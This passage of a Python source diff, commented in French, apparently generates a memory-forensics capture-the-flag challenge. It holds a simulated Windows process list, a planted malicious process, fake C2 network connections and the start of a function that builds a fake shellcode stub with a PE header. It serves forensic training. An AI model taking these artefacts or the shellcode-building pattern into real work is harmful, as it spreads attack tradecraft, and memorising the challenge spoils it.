r"C:\Windows\System32\taskhostw.exe", "threads": 8, "handles": 185, "session": 1, "create_time": "2026-02-20 08:01:05"}, - {"pid": 2544, "ppid": 1052, "name": "sihost.exe", "path": r"C:\Windows\System32\sihost.exe", "threads": 11, "handles": 554, "session": 1, "create_time": "2026-02-20 08:01:06"}, - {"pid": 2740, "ppid": 700, "name": "dwm.exe", "path": r"C:\Windows\System32\dwm.exe", "threads": 15, "handles": 856, "session": 1, "create_time": "2026-02-20 08:01:08"}, - {"pid": 3200, "ppid": 3128, "name": "explorer.exe", "path": r"C:\Windows\explorer.exe", "threads": 34, "handles": 1820, "session": 1, "create_time": "2026-02-20 08:01:15"}, - {"pid": 3580, "ppid": 3200, "name": "SecurityHealthTray.exe","path": r"C:\Windows\System32\SecurityHealthSystray.exe", "threads": 3, "handles": 113, "session": 1, "create_time": "2026-02-20 08:01:30"}, - {"pid": 3712, "ppid": 3200, "name": "OneDrive.exe", "path": r"C:\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe", "threads": 26, "handles": 754, "session": 1, "create_time": "2026-02-20 08:01:32"}, - {"pid": 4100, "ppid": 756, "name": "MsMpEng.exe", "path": r"C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe","threads": 24, "handles": 480, "session": 0, "create_time": "2026-02-20 08:01:45"}, - {"pid": 4528, "ppid": 3200, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 30, "handles": 1245, "session": 1, "create_time": "2026-02-20 09:15:22"}, - {"pid": 4680, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 8, "handles": 217, "session": 1, "create_time": "2026-02-20 09:15:24"}, - {"pid": 4812, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 15, "handles": 352, "session": 1, "create_time": "2026-02-20 09:15:25"}, - {"pid": 5124, "ppid": 3200, "name": "notepad.exe", "path": r"C:\Windows\System32\notepad.exe", "threads": 3, "handles": 87, "session": 1, "create_time": "2026-02-20 10:30:05"}, - {"pid": 5340, "ppid": 3200, "name": "cmd.exe", "path": r"C:\Windows\System32\cmd.exe", "threads": 1, "handles": 43, "session": 1, "create_time": "2026-02-20 14:22:18"}, -] - -# ─── Processus malveillant ───────────────────────────────────────────────────── - -MALICIOUS_PROCESS = { - "pid": CHALLENGE_CONFIG["malware_pid"], - "ppid": CHALLENGE_CONFIG["malware_ppid"], # svchost.exe – mais dans session 1, suspect ! - "name": CHALLENGE_CONFIG["malware_name"], - "path": CHALLENGE_CONFIG["malware_path"], - "threads": 5, - "handles": 142, - "session": 1, # session 1 alors que son parent (ppid 1052) est en session 0 → suspect ! - "create_time": "2026-02-20 14:23:47", # peu aprĂšs cmd.exe -} - -# ─── Connexions rĂ©seau ───────────────────────────────────────────────────────── - -NETWORK_CONNECTIONS = [ - {"pid": 868, "proto": "TCPv4", "local": "0.0.0.0:135", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 4, "proto": "TCPv4", "local": "0.0.0.0:445", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 916, "proto": "TCPv4", "local": "0.0.0.0:5040", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 1388, "proto": "TCPv4", "local": "192.168.1.47:49672", "remote": "20.198.119.143:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49801", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49803", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 3712, "proto": "TCPv4", "local": "192.168.1.47:49780", "remote": "52.113.194.132:443", "state": "ESTABLISHED"}, - # ↓↓↓ Connexion C2 malveillante ↓↓↓ - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49847", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_port']}", "state": "ESTABLISHED"}, - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49902", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_backup_port']}", "state": "ESTABLISHED"}, - # ↑↑↑ fin connexion C2 ↑↑↑ - {"pid": 868, "proto": "UDPv4", "local": "0.0.0.0:5353", "remote": "*:*", "state": ""}, - {"pid": 1148, "proto": "UDPv4", "local": "0.0.0.0:5355", "remote": "*:*", "state": ""}, - {"pid": 1008, "proto": "UDPv6", "local": ":::5353", "remote": "*:*", "state": ""}, -] - -# ─── Sections mĂ©moire injectĂ©es (malfind) ────────────────────────────────────── - -def build_shellcode_stub(): - """Construit un faux shellcode rĂ©aliste avec les artefacts du challenge.""" - cfg = CHALLENGE_CONFIG - # Simuler du code PE + shellcode - pe_header = b"MZ" + b"\x90" * 58 + struct.pack("